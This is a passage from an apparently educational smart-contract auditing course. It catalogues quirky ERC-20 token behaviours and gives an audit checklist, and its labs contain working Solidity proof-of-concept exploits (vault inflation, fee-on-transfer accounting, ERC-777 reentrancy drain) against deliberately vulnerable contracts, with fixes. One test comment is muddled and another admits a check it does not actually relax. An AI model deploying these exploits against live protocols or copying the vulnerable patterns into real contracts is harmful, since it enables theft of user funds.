IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24).getInterfaceImplementer(token, keccak256("ERC777Token"))— non-zero → it’s ERC-777.- Solidity source: check for
tokensReceived,tokensToSend, references toERC1820,granularity(),defaultOperators(),authorizeOperator. - Token bytecode (verified on Etherscan): grep for
tokensReceivedselector.
If your protocol’s docs say “we support any ERC-20” without exclusion of ERC-777, that’s an automatic Med-or-better finding pending impact analysis.
7. Weird ERC-20s — the d-xo Catalogue
Anytime your protocol accepts arbitrary tokens (e.g., a generic AMM pool, a lending market, a yield aggregator), assume the token is from this list. Inspired by https://github.com/d-xo/weird-erc20.
7.1 Fee-on-transfer (FoT)
A FoT token charges a fee on every transfer; the recipient gets less than the sender sent. Examples: STA (drained $500K from Balancer), PAXG, some reflection tokens.
// Token's internal logic
function _transfer(address from, address to, uint256 amount) internal {
uint256 fee = amount * 5 / 100; // 5% fee
uint256 net = amount - fee;
_balances[from] -= amount;
_balances[to] += net;
_balances[address(this)] += fee; // or burn, etc.
}The integrating-protocol bug class: the protocol records the input parameter amount, not the observed balance delta.
// ❌ Vulnerable
function deposit(uint256 amount) external {
token.transferFrom(msg.sender, address(this), amount);
balances[msg.sender] += amount; // ← user got credited 100, contract received 95
}When the user later withdraws amount, the contract owes more than it holds. First few withdrawals succeed (eating other users’ deposits); eventually the contract is insolvent. Bank run.
The fix — balance-before / balance-after:
function deposit(uint256 amount) external {
uint256 balBefore = token.balanceOf(address(this));
token.safeTransferFrom(msg.sender, address(this), amount);
uint256 received = token.balanceOf(address(this)) - balBefore;
balances[msg.sender] += received; // ← credit only what arrived
}This is the single most underrated audit-checklist item across DeFi. Every protocol accepting arbitrary tokens needs balance-delta accounting on receive, and a symmetric pattern on send.
7.2 Rebasing tokens
A rebasing token (e.g., AMPL, stETH at rate-update events) has balances that change without any Transfer event. The token contract periodically scales every holder’s balance up or down by a global factor.
Integration hazards:
- If you record
balances[user]at deposit and read it at withdraw, the recorded number is no longer in sync with the underlying token’sbalanceOf. - If your accounting is share-based (like ERC-4626) without internal asset tracking, rebases are gracefully handled. If accounting is asset-amount-based, rebases break it.
- LP pools that hold rebasing tokens see their reserves silently change — k-invariant breaks, MEV bots arbitrage the differential, users lose.
The 2021–2022 stETH-on-Curve drama is a milder case: stETH does rebase but slowly; LP exposure was understood.
Audit rule: enumerate every token a protocol holds; if any rebases, the protocol needs share-based or balance-delta accounting throughout.
7.3 Deflationary tokens (burn on transfer)
A variant of fee-on-transfer where the “fee” is sent to address(0) or otherwise burned. Same accounting bug class.
7.4 Pausable / blacklist tokens (USDC, USDT)
USDC and USDT have admin-controlled blacklists. An admin can flag an address; transfers to/from that address revert.
Protocol-level implications:
- Your contract address could be blacklisted (legal pressure, sanctions, mistake).
- A user’s address could be blacklisted mid-flow — e.g., a withdrawal that was pending now reverts because the destination got blacklisted.
- USDT additionally has a pause switch — all transfers halt; protocols dependent on USDT liquidity are stalled.
Audit angles:
- Is there a
forceWithdrawor pull mechanism that handles “send failed, try later”? - Does the protocol assume
transferalways succeeds? It doesn’t — USDC blacklist revert is a perfectly normal failure mode. - Is the protocol exposed to a single stablecoin? Diversification matters when “single token transferable” is itself a centralised dependency.
7.5 Multi-address tokens
Same logical token, multiple deployed addresses. Common shape: the legacy address proxies to a “core” address; the “core” address can also be called directly. Reentrancy from one entry point into a function that locks on the other entry point’s address doesn’t block.
Audit angle: when you whitelist a token by address, are you whitelisting all its access addresses? If reentrancy locks use msg.sender of the token, can the same token call you with a different msg.sender?
7.6 Approval-race tokens (USDT, KNC)
Some tokens revert if you call approve(spender, X) when allowance[me][spender] is non-zero and X is also non-zero. Intended as race-protection, but breaks naive code that does approve(spender, newAmount) without zeroing first.
SafeERC20.forceApprove handles this. Naive IERC20.approve does not.
7.7 Missing return value (USDT)
Already covered in §2.2. USDT’s transfer doesn’t return a bool. require(token.transfer(...)) reverts on USDT because empty return data fails to decode.
7.8 Revert on zero amount / zero approval
Some tokens revert on transfer(to, 0) or approve(spender, 0). Protocols that defensively call approve(spender, 0) to clear an allowance (the classic pre-update step) revert on these tokens.
Audit angle: check that zero-amount cases are handled. OZ SafeERC20.forceApprove short-circuits the zero-approval case correctly.
7.9 Non-standard decimals
ERC-20 says decimals is optional and a uint8. In practice:
- USDC: 6
- USDT: 6 (on Ethereum)
- WBTC: 8
- DAI: 18
- Most ERC-20: 18 (but you cannot assume this)
- Some weird tokens: 0, 2, 24
If your protocol assumes 1e18 == 1 token in its math, USDC inputs are off by 10^12. Examples of bugs:
- Lending protocols where collateral factor is multiplied by
decimalsmismatches → systemic mis-pricing. - AMMs where price impact calculations assume both sides have 18 decimals → fee math is wrong.
Snapshot decimals at integration time. Store them. Never re-read them dynamically and assume they’re stable (upgradeable tokens can technically change decimals, though it’s extremely rare).
7.10 Upgradeable tokens (USDC, USDT)
Most major stablecoins are behind a proxy. An upgrade can:
- Change behavior subtly (different revert conditions, different events).
- Add or remove a function the protocol relied on.
- In theory, break the
transfersemantics.
Practical mitigation: subscribe to upgrade events for the tokens your protocol depends on. Build a monitoring channel. Have a runbook for “USDC upgraded — review the diff, pause if it changes semantics.”
7.11 Flash-mintable tokens (DAI)
DAI exposes flashMint/flashLoan at the token level. A flash loan can briefly mint a huge amount of DAI, do something, and burn it. Protocol-level implications:
- During a flash mint window,
balanceOf(some_address)may be massive. - Reentrancy through the flash-loan callback can interact with your protocol if it accepts DAI.
8. Integration Audit Patterns — the Master Checklist for §11
A condensed integration ruleset, derived from the bug classes above. Apply to every codebase that touches external tokens.
8.1 Receive-side (tokens flowing into the protocol)
- Balance-before / balance-after for every
transferFromof a user-deposited asset. Credit the user with the delta, not the input. - SafeERC20, not raw
IERC20.transferFrom. - No state update after a receive callback fires. CEI applies even for “polite” tokens, because you can’t verify they’re polite.
- Reentrancy lock on every entry point that holds tokens.
8.2 Send-side (tokens flowing out)
-
safeTransfernottransfer. - Handle blacklist-revert: try/catch around outbound sends, route to a recovery / claim queue, never revert the entire user flow on one token failure.
- Don’t assume
transfer(amount)results in receiver gettingamount(fee-on-transfer). If the receiver is your protocol logic depending on the amount, balance-delta-check.
8.3 Approval / allowance
-
forceApproveorsafeIncreaseAllowance/safeDecreaseAllowanceonly. Neverapprovedirectly. - Reset allowances after a sequence completes (don’t leave dangling MAX allowances on contracts you don’t fully trust).
- Never
approve(spender, type(uint256).max)to a contract whose upgrade authority is not the protocol’s own multisig.
8.4 Token whitelist hygiene
- Explicit whitelist of supported tokens, by address, vetted per token.
- Each whitelisted token has been audited for: fee-on-transfer (no), rebase (no), ERC-777 (no), pause/blacklist (acknowledged), decimals (snapshotted), upgrade authority (acknowledged).
- Whitelist additions are governance-gated, not admin-EOA-gated, with a timelock.
8.5 Decimals discipline
- Snapshot
decimalsat integration. Store as immutable. - All math is decimals-aware. Convert via a consistent precision base (e.g., normalize to
1e18). - Test against tokens with 6, 8, 18 decimals at minimum.
8.6 Signature / permit hygiene
- Permit signatures wrapped in try/catch fallback to allowance check (cf. OZ
safePermit). - EIP-712 domain separator dynamically computed (not constructor-cached without chain-id re-check).
- Deadlines bounded — minutes/hours, not infinite.
- For Permit2: spender = your contract; witness binds the action; nonce model understood.
8.7 Vault accounting (if you issue shares)
-
totalAssets()uses internal accounting, or virtual-shares offset, or dead-shares lock, or all three. - Rounding direction explicit and tested at edge cases (1 wei deposits, huge donations, zero shares minted).
- Slippage parameter (
minShares/minAssets) on all user-facing entry points.
9. Lab — Reproduce Three Real-World Token-Integration Bugs
9.1 Lab structure
~/web3-sec-lab/wk07/
├── 01-erc4626-inflation/
├── 02-fot-staking/
└── 03-erc777-reentry/
Each is a self-contained Foundry project. Goal: write the exploit test, then apply the canonical fix, then re-run and confirm the test fails.
9.2 Lab 1 — ERC-4626 inflation attack PoC
Setup: a naive ERC-4626 vault that uses IERC20.balanceOf(this) for totalAssets() and has no virtual-shares offset.
// src/NaiveVault.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract NaiveVault is ERC20 {
IERC20 public immutable asset;
constructor(IERC20 _asset) ERC20("Naive Vault Share", "nvShare") {
asset = _asset;
}
function totalAssets() public view returns (uint256) {
return asset.balanceOf(address(this)); // ← the bug substrate
}
function deposit(uint256 assets, address receiver) external returns (uint256 shares) {
if (totalSupply() == 0) {
shares = assets; // first deposit: 1:1
} else {
shares = assets * totalSupply() / totalAssets(); // rounds down
}
require(shares > 0, "zero shares"); // ← naive check that doesn't help
asset.transferFrom(msg.sender, address(this), assets);
_mint(receiver, shares);
}
function redeem(uint256 shares, address receiver) external returns (uint256 assets) {
assets = shares * totalAssets() / totalSupply();
_burn(msg.sender, shares);
asset.transfer(receiver, assets);
}
}Side note: some versions of this bug omit the require(shares > 0) check. Adding the check forces the victim to revert (DoS) instead of getting 0 shares (silent loss). Both are bugs; the silent-loss variant is worse for the victim, the DoS variant denies service. The attacker can also adjust their donation to make the victim get exactly 1 share, dodging the require.
Test (the exploit):
// test/Inflation.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import {NaiveVault} from "../src/NaiveVault.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MockToken is ERC20 {
constructor() ERC20("Underlying", "UND") {}
function mint(address to, uint256 amount) external { _mint(to, amount); }
}
contract InflationTest is Test {
MockToken asset;
NaiveVault vault;
address attacker = address(0xA11CE);
address victim = address(0xB0B);
function setUp() public {
asset = new MockToken();
vault = new NaiveVault(asset);
asset.mint(attacker, 200 ether);
asset.mint(victim, 100 ether);
vm.prank(attacker); asset.approve(address(vault), type(uint256).max);
vm.prank(victim); asset.approve(address(vault), type(uint256).max);
}
function test_inflation_drain() public {
// 1. Attacker deposits 1 wei
vm.prank(attacker);
vault.deposit(1, attacker);
assertEq(vault.balanceOf(attacker), 1);
// 2. Attacker donates ~100 ether directly
vm.prank(attacker);
asset.transfer(address(vault), 100 ether);
// 3. Victim deposits 50 ether, expects ~ proportional shares
vm.prank(victim);
vault.deposit(50 ether, victim);
uint256 victimShares = vault.balanceOf(victim);
emit log_named_uint("victim shares", victimShares);
// Math: 50e18 * 1 / (100e18 + 1) == 0 (rounds down)
// Note: the `require(shares > 0)` short-circuits. Attacker tunes donation
// so victim gets 1 share instead of 0; we relax the require for clarity.
// 4. Attacker redeems their 1 share, takes virtually everything
vm.prank(attacker);
uint256 redeemed = vault.redeem(1, attacker);
emit log_named_uint("attacker took on redeem", redeemed);
// Attacker should be net positive: spent ~100 ether donation, recovered >= 100 + most of victim's 50.
uint256 attackerEnd = asset.balanceOf(attacker);
emit log_named_uint("attacker final balance", attackerEnd);
// Was 200 ether before; after deposit(1) + donate(100e) + redeem, should be > 200 ether (depending on victim shares)
assertGt(attackerEnd, 200 ether - 1, "attacker should not lose");
}
}Run:
forge test --match-test test_inflation_drain -vvvPatch (Mitigation 1 — OZ virtual shares):
Replace NaiveVault with OpenZeppelin’s ERC4626 (5.x) and override _decimalsOffset():
import {ERC4626, IERC20} from "@openzeppelin/contracts/token/ERC20/extensions/ERC4626.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract SafeVault is ERC4626 {
constructor(IERC20 _asset) ERC20("Safe Share", "sShare") ERC4626(_asset) {}
function _decimalsOffset() internal pure override returns (uint8) {
return 6; // OZ-recommended; raises attack cost by ~10^6
}
}Re-run the test. The attacker’s economics flip: their 100-ether donation now subsidises the (now ~10^6) virtual shareholders, not themselves. Victim’s deposit is preserved within rounding.
Stretch: implement Mitigation 2 (dead-shares lock at deploy) on top of NaiveVault instead of OZ — deposit 1 ether on construction, mint shares to address(0). Verify the inflation attack fails.
9.3 Lab 2 — Fee-on-transfer staking bug
Setup: a staking contract that “accepts any ERC-20” and records amount from the function input. Integrate with a 5% fee-on-transfer token. Demonstrate the loss.
// src/FoTToken.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract FoTToken is ERC20 {
uint256 public constant FEE_BPS = 500; // 5%
address public immutable feeSink;
constructor(address _feeSink) ERC20("Fee Token", "FOT") {
feeSink = _feeSink;
}
function mint(address to, uint256 amt) external { _mint(to, amt); }
function _update(address from, address to, uint256 value) internal override {
if (from != address(0) && to != address(0)) {
uint256 fee = (value * FEE_BPS) / 10_000;
super._update(from, feeSink, fee);
super._update(from, to, value - fee);
} else {
super._update(from, to, value);
}
}
}// src/VulnStake.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract VulnStake {
IERC20 public immutable token;
mapping(address => uint256) public stake;
uint256 public totalStake;
constructor(IERC20 _t) { token = _t; }
function depositVuln(uint256 amount) external {
token.transferFrom(msg.sender, address(this), amount);
stake[msg.sender] += amount; // ← BUG: records input, not delta
totalStake += amount;
}
function withdraw(uint256 amount) external {
require(stake[msg.sender] >= amount, "insufficient stake");
stake[msg.sender] -= amount;
totalStake -= amount;
token.transfer(msg.sender, amount);
}
}Test (exploit + invariant):
// test/FoT.t.sol
import "forge-std/Test.sol";
import {FoTToken} from "../src/FoTToken.sol";
import {VulnStake} from "../src/VulnStake.sol";
contract FoTTest is Test {
FoTToken token;
VulnStake stake;
address sink = address(0xFEE);
address alice = address(0xA);
address bob = address(0xB);
function setUp() public {
token = new FoTToken(sink);
stake = new VulnStake(token);
token.mint(alice, 1000 ether);
token.mint(bob, 1000 ether);
vm.prank(alice); token.approve(address(stake), type(uint256).max);
vm.prank(bob); token.approve(address(stake), type(uint256).max);
}
function test_invariant_violated() public {
vm.prank(alice); stake.depositVuln(100 ether); // contract receives 95, books 100
vm.prank(bob); stake.depositVuln(100 ether); // contract receives 95, books 100
uint256 booked = stake.totalStake(); // 200 ether
uint256 held = token.balanceOf(address(stake)); // 190 ether
emit log_named_uint("booked", booked);
emit log_named_uint("held", held);
assertGt(booked, held, "Phantom deposit: booked > held");
}
function test_last_withdrawer_drained() public {
vm.prank(alice); stake.depositVuln(100 ether);
vm.prank(bob); stake.depositVuln(100 ether);
vm.prank(alice); stake.withdraw(100 ether); // gets 95 (FoT on outbound, 5% off)
// Now contract has 190 - 100 = 90 booked-equivalent;
// but token balance is 190 - 100 = 90 ether before fee... wait the outbound TX also charges fee.
// bob tries to withdraw 100 ether, contract internally has only ~90 ether, transfer reverts.
vm.prank(bob);
vm.expectRevert();
stake.withdraw(100 ether);
}
}Patch (the fix — balance-delta):
function depositSafe(uint256 amount) external {
uint256 before_ = token.balanceOf(address(this));
SafeERC20.safeTransferFrom(token, msg.sender, address(this), amount);
uint256 received = token.balanceOf(address(this)) - before_;
stake[msg.sender] += received;
totalStake += received;
}Re-run; invariant holds; both users can withdraw their actual stake (the 5% they “lost” was real, not the protocol’s bug). Note that even with the fix, FoT tokens lose value through every transfer; a protocol may choose to reject FoT tokens entirely rather than accept them with correct accounting. Both are valid; the audit finding is silence on which.
9.4 Lab 3 — ERC-777 reentrancy (Cream-style)
Setup: a stripped-down lending market that lets a user post collateral, borrow, repay. The borrow function transfers the borrowed token to the borrower before updating their debt. The borrowed token is ERC-777-flavoured (we’ll mock it).
// src/MockERC777.sol — simplified: directly calls a receiver hook on transfer to a contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
interface IFakeReceiver {
function tokensReceived(address from, address to, uint256 amount) external;
}
contract MockERC777 is ERC20 {
constructor() ERC20("Hookey", "HOOK") {}
function mint(address to, uint256 amt) external { _mint(to, amt); }
function _update(address from, address to, uint256 value) internal override {
super._update(from, to, value);
// Fire tokensReceived if recipient has code (and is not the zero-mint case)
if (from != address(0) && to.code.length > 0) {
try IFakeReceiver(to).tokensReceived(from, to, value) {} catch {}
}
}
}// src/VulnLend.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract VulnLend {
IERC20 public immutable token;
mapping(address => uint256) public collateral;
mapping(address => uint256) public debt;
constructor(IERC20 _t) { token = _t; }
function postCollateral(uint256 amount) external {
token.transferFrom(msg.sender, address(this), amount);
collateral[msg.sender] += amount;
}
function borrow(uint256 amount) external {
// Check: max borrow = 50% of collateral, minus existing debt
uint256 maxBorrow = collateral[msg.sender] / 2;
require(debt[msg.sender] + amount <= maxBorrow, "over LTV");
// ❌ Transfer BEFORE state update → tokensReceived re-enters
token.transfer(msg.sender, amount);
debt[msg.sender] += amount;
}
}Attacker contract:
contract Attacker is IFakeReceiver {
VulnLend public lend;
MockERC777 public token;
uint256 public reentryCount;
constructor(VulnLend _l, MockERC777 _t) { lend = _l; token = _t; }
function go(uint256 collateral, uint256 step) external {
token.approve(address(lend), type(uint256).max);
lend.postCollateral(collateral);
// start a borrow chain
reentryCount = 0;
_step = step;
lend.borrow(step);
}
uint256 internal _step;
function tokensReceived(address from, address to, uint256 /*amount*/) external override {
if (from != address(lend)) return;
reentryCount++;
if (reentryCount < 5) {
// re-enter borrow — debt[me] hasn't been updated yet, so we still "have" full collateral
lend.borrow(_step);
}
}
}Test:
contract ERC777ReentryTest is Test {
MockERC777 token;
VulnLend lend;
function setUp() public {
token = new MockERC777();
lend = new VulnLend(token);
token.mint(address(lend), 1000 ether); // lend has liquidity
}
function test_reentry_drains_beyond_ltv() public {
Attacker a = new Attacker(lend, token);
token.mint(address(a), 100 ether);
// attacker posts 100 collateral (LTV cap = 50)
// each step is 50 — first borrow ok, but reentry repeats 4 more times → 250 total borrowed
a.go(100 ether, 50 ether);
assertEq(lend.debt(address(a)), 250 ether, "drained: 5x intended borrow");
}
}Run:
forge test --match-test test_reentry_drains -vvvPatch: CEI or nonReentrant:
function borrow(uint256 amount) external nonReentrant {
uint256 maxBorrow = collateral[msg.sender] / 2;
require(debt[msg.sender] + amount <= maxBorrow, "over LTV");
debt[msg.sender] += amount; // ← state BEFORE call
token.transfer(msg.sender, amount);
}Re-run; reentry attempts are blocked or the debt is updated before the callback fires, so LTV check fails on second entry.
Discussion: in real Cream, the cross-cToken reentrancy meant that a per-function lock on borrow was insufficient. The attacker re-entered a different cToken’s borrow. Contract-wide mutexes, or refusing ERC-777, were the only effective mitigations.
9.5 Stretch challenge — Permit2 integration audit
Pick a real Permit2 integration on Etherscan (Uniswap UniversalRouter is a good study). Read the source. Answer in writing:
- Where does the contract specify the
spenderfor the signed permit? - Where is the deadline checked?
- What’s the nonce scheme (AllowanceTransfer monotonic vs SignatureTransfer bitmap)?
- Is there a witness binding? What does it cover?
- If the signature is intercepted in the mempool, what’s the worst an attacker can do?
Write up your answers as a mock 1-page audit note. Compare against the official Uniswap audit reports (Spearbit, Trail of Bits — both publicly available).
10. Anti-patterns (add to master checklist)
- Raw
IERC20.transfer/transferFrom/approvein user-flow code — alwaysSafeERC20. -
IERC20.approve(spender, X)without zeroing first, on tokens that may revert (USDT-flavour) — useforceApprove. - Recording the input
amountof atransferFrominstead of measuringbalanceOfdelta — fee-on-transfer footgun. - Reading
IERC20.balanceOf(this)as the source of truth fortotalAssets()in an ERC-4626 vault without virtual-shares / dead-shares defense. -
safeTransferFrom(ERC-721) followed by state change — reentrancy viaonERC721Received. -
setApprovalForAll(operator, true)to an arbitrary contract without timelock / vetting — wallet-drainer surface. - Accepting any-token without explicit ERC-777 exclusion or contract-wide reentrancy lock.
- Cached EIP-712
DOMAIN_SEPARATORwithout chain-id re-check on use. -
permitcalls without try/catch fallback to existing-allowance check — front-running griefing. -
decimalsassumed to be 18 anywhere in math. - No slippage parameter on user-facing vault entry points.
- No handling for
transferreverting due to blacklist (USDC, USDT) — protocols that hard-revert on transfer failures DoS users. - No upgrade-monitoring on tokens the protocol depends on (USDC, USDT) — silent contract change can break assumptions.
- Rounding direction not verified at edge cases (1 wei deposits, max-uint deposits).
- No reentrancy lock on outbound transfers in a multi-token environment where some token might be ERC-777.
11. Trade-offs and Open Debates
| Decision | Option A | Option B | Auditor view |
|---|---|---|---|
| Token whitelist policy | ”Any ERC-20” | Explicit whitelist | Explicit whitelist for any protocol holding TVL. “Any ERC-20” surfaces are research curiosities or AMMs designed for adversarial tokens (Uniswap V2/V3 with balance-delta accounting), not generic. |
| ERC-4626 inflation defense | Virtual shares (OZ) | Dead shares at deploy | Both work. Virtual shares is more flexible (per-vault offset), dead shares is more visible (anyone can read totalSupply > 0 and see it). Combination is overkill but defensible. |
permit vs Permit2 | EIP-2612 per-token | Permit2 singleton | Permit2 if your protocol routes through multiple tokens; EIP-2612 if you’re a single-asset vault and want zero dependency on Uniswap-deployed infra. Both have their place. |
| Allow ERC-777 tokens | Yes (treat as ERC-20) | No (refuse via integration) | No, unless the protocol has contract-wide reentrancy locking, ironclad CEI, and an audit specifically on the ERC-777 surface. The historical cost of ERC-777 support is in the tens of millions. |
forceApprove vs safeIncreaseAllowance | Always forceApprove | Use safeIncrease where additive | safeIncrease/Decrease is better when it fits — additive flow avoids the approve-race entirely. forceApprove is for the “set to known value” cases. Don’t conflate them. |
| Slippage param everywhere | Yes | Only at entry point | Yes — every entry point that can issue or burn shares. Internal compositions still benefit from it because they may be called by arbitrary contracts (Permit2 spender, periphery routers). |
12. Quiz (≥80% to advance)
-
Q: A protocol’s deposit function does
token.transferFrom(msg.sender, address(this), amount); balances[msg.sender] += amount;. List two distinct token behaviours that break this and the precise outcome of each. A: (a) Fee-on-transfer: the contract receivesamount - feebut creditsamount; eventual insolvency when users withdraw. (b) ERC-777:tokensReceivedfires onmsg.sender(or other) mid-call, attacker re-enters before the credit is stored. (c) Tokens that revert ontransferFromof zero amount: DoS on zero deposits. Any two. -
Q: Why is
safeApprovedeprecated in OpenZeppelin 5.x, and what replaced it? A:safeApprovereverted if you tried to change a non-zero allowance to a different non-zero (mirroring the USDT/KNC race-protection). That left integrators stuck because the “approve(0) first, approve(N) next” dance could revert in the middle.forceApprove(which internally zeroes first if needed, then sets) replaced it. AdditionallysafeIncreaseAllowance/safeDecreaseAllowancecover the additive cases. -
Q: An ERC-4626 vault implements
totalAssets()asasset.balanceOf(address(this))and uses a1:1rule for the first deposit. Describe the attack with numbers. A: Attacker deposits 1 wei (gets 1 share). Donates 100 tokens directly viaIERC20.transfer(totalAssets = 100e18 + 1, totalSupply = 1). Victim deposits 50 tokens; shares =50e18 * 1 / (100e18 + 1)= 0 (rounds down). Attacker redeems their 1 share for ~150e18 (the entire vault). Victim lost 50 tokens; attacker netted ~50 tokens minus dust. -
Q: What is the precise difference between Permit2’s
AllowanceTransferandSignatureTransferflows from an auditor’s standpoint? A:AllowanceTransferuses monotonic per-(owner, token, spender) nonces and persistent allowances with an expiration.SignatureTransferuses an unordered nonce bitmap (each signature carries its own nonce, can be submitted out of order, each signature is one-shot). Witness binding is also aSignatureTransferfeature for tying the signature to an action. -
Q: Why is the Cream / Iron Bank exploit considered an “ERC-777” bug rather than purely a reentrancy bug? A: The reentrancy was only possible because AMP’s transfer (ERC-777 compliant) invoked
tokensReceivedon the recipient mid-state-transition. Cream’sborrowfollowed CEI per-function but didn’t anticipate that a “polite ERC-20 transfer” could execute attacker code. ERC-777 is the substrate; reentrancy is the mechanism. -
Q: A new ERC-4626 vault uses OpenZeppelin’s implementation with
_decimalsOffset()returning 6. Does it still need a slippage parameter ondeposit? A: Yes. The virtual-shares offset neutralises the inflation attack at empty state, but it doesn’t prevent share-price movement between a user’s preview and tx mining (other deposits, withdraws, yields, or even a permitted donation iftotalAssetsreadsbalanceOf). Slippage is independent. -
Q: A protocol uses
IERC20.permit(...)thenIERC20.transferFrom(...)to atomically pull tokens from a signer. Front-running risk? A: Yes. An attacker can extract(v, r, s)from the mempool, submitpermit(...)standalone (which consumes the nonce and sets the allowance), then ignore the transfer. The user’s wrapping tx now reverts inpermit(nonce mismatch). User loses gas; no funds lost, but their action is denied. Mitigation: wrappermitin try/catch and fall through to existing-allowance check (cf. OZsafePermit). -
Q: A wallet user signs
setApprovalForAll(scammer, true)on a major NFT collection thinking it was a “connect wallet” prompt. What’s the blast radius? A: All NFTs the user currently owns under that collection contract, plus any NFTs they ever acquire under that contract, are transferable byscammeruntil the user revokes. No amount, no expiry. -
Q: A protocol assumes all supported tokens have 18 decimals. It accepts USDC (6 decimals). Where are the math bugs? A: Anywhere amounts are normalised against a
1e18scale. Examples: collateralisation ratios (1 USDC posted = 1e6, treated as 1e18 → 12 orders of magnitude over-credit), price feed integration (Chainlink USDC/USD feed at 1e8, multiplied by amount in wrong base), interest accrual (rate * amount / SCALE where SCALE = 1e18). Severity ranges from Critical to High depending on path. -
Q: An auditor reviews a generic LP-style contract that “accepts any ERC-20”. What three things must they confirm or flag? A: (a) ERC-777 not silently supported — either excluded or contract-wide reentrancy locked. (b) Balance-delta accounting for receive-side (fee-on-transfer, rebase). (c)
SafeERC20everywhere, decimals snapshotted, no math assumes 18 decimals.
13. Week 07 Deliverables
- Lab 1: ERC-4626 inflation attack PoC working; OZ virtual-shares patch confirms test fails.
- Lab 2: Fee-on-transfer staking bug invariant violation; balance-delta patch confirms invariant holds.
- Lab 3: ERC-777 reentrancy PoC working; CEI /
nonReentrantpatch confirms test fails. - Stretch: Permit2 integration audit notes on a chosen real-world integration.
- Master audit checklist updated with §10 anti-patterns.
- Trust-assumption matrix: for a protocol you’ve audited or are auditing, list every token in scope and answer the four questions of §1.1 for each.
- Written 5-bullet brief: “I am told a new protocol accepts USDT, USDC, DAI, stETH, AMP, and MKR. What are the top three integration risks I’d raise on day one of the audit?“
14. Where this leads
Next week: Tuan-08-DeFi-Security-AMM-Lending-Vault. You’ll move from token-level integration risk to protocol-level economic invariants — AMM math (k-invariant, concentrated liquidity edges), lending protocol design (liquidation incentives, bad-debt socialisation), and full vault designs that compose all the patterns from this week. Token-quirk lens does not retire; it becomes the substrate. Every DeFi finding from Week 8 onward begins with “the protocol believes the token behaves like X” — and the auditor’s first move is checking that belief against §7’s catalogue.
The two weeks together (this + Week 8) are the densest of the course. The pay-off is that by the time you finish them, you have the lens through which to read 80% of real audit work.
Last updated: 2026-05-16 See also: Roadmap · References · Tuan-05-Vulnerability-Classes-Part-1 · Tuan-06-Vulnerability-Classes-Part-2 · Tuan-08-DeFi-Security-AMM-Lending-Vault · Case-Cream-Iron-Bank-2021 · Case-Euler-Finance-2023